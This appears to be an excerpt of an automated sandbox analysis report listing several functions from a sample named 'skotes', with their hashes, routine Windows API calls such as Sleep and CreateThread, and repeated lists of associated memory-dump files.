Instruction ID: 1fbd13ebb29747915931439fd5b644038b552c046cf3c08745a9dfd8c4808dc4
Opcode Fuzzy Hash: 1bc12503f66f0923dabf49bb32aba3e9c6d128a5241e88c606bb9aff8d5bdaf2
Instruction Fuzzy Hash: FAE0261028A21099FE123269E942F29219A9BC1B00F324916E304E608886D065409623

Function 00367590 Relevance: 4.7, APIs: 3, Instructions: 158sleepthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,7F551698,?,00000000,003A9138,000000FF), ref: 003675CC
CreateThread.KERNEL32(00000000,00000000,00367430,003C8638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 003676BF
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 003676C9

Part of subcall function 0037D0C7: RtlWakeAllConditionVariable.NTDLL ref: 0037D17B

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$ConditionCreateThreadVariableWake
String ID:
API String ID: 79123409-0
Opcode ID: 455eb4ade7b34e658726c6bc8aaf4002ee8f426f786d744831c2b4d3ebee899d
Instruction ID: 49f4810c61a33563b4e2029df1427420a14d5d671399838ddea348cd29c5e167
Opcode Fuzzy Hash: 455eb4ade7b34e658726c6bc8aaf4002ee8f426f786d744831c2b4d3ebee899d
Instruction Fuzzy Hash: 6351E471210244EBEB16DF28CC85F9D3BA9EB44308F908619F919DB3D5CB7AE990CB51

Function 00396E4C Relevance: 3.1, APIs: 2, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3bdc9e5925d0f980a0410a1d4b2fc751a5230aabddaf9c37ae82b20f04077b7
Instruction ID: f9eb49ad1b81e284e5bf95fa20bd6ed249054db81e0e66d9840818d7d0e6c359
Opcode Fuzzy Hash: b3bdc9e5925d0f980a0410a1d4b2fc751a5230aabddaf9c37ae82b20f04077b7
Instruction Fuzzy Hash: 4F21D632906208BAEF137B68AD43FAF7729DF42378F120215F9252F1C1DB709E059661

Function 00376D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 00376D11
Sleep.KERNEL32(00007530), ref: 00376D25

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: 5b02b88cf626ef5617806a79d175175663831836f563cdffbe13b2dd43911003
Instruction ID: d35da3c7e1436214662f24a21d5f37341b3b507c977d6036f64ac9c58da17988
Opcode Fuzzy Hash: 5b02b88cf626ef5617806a79d175175663831836f563cdffbe13b2dd43911003
Instruction Fuzzy Hash: AAD08C707D0714FAF23313202C1BF67AA249B0AF40F258844B34C3F0D081E8300047A8

Function 00368380 Relevance: 1.7, APIs: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00368524

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: d1cdd7f1cc4d6d2be9a2083b81c1adb7b970f9c79c44426ac7757cffc5e6e3ac
Instruction ID: 79c4245ad0354cc9a558e96cbdc3f9c30e463d11a4fe61f1e49a15d642acbe47
Opcode Fuzzy Hash: d1cdd7f1cc4d6d2be9a2083b81c1adb7b970f9c79c44426ac7757cffc5e6e3ac
Instruction Fuzzy Hash: 0A514970D102189BDB26EB28CD45BDDB775DB4A310F5083A9E409A72C5DF759EC08B91

Function 00397124 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,0039705B,?,?,00000000,00000000), ref: 00397166

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
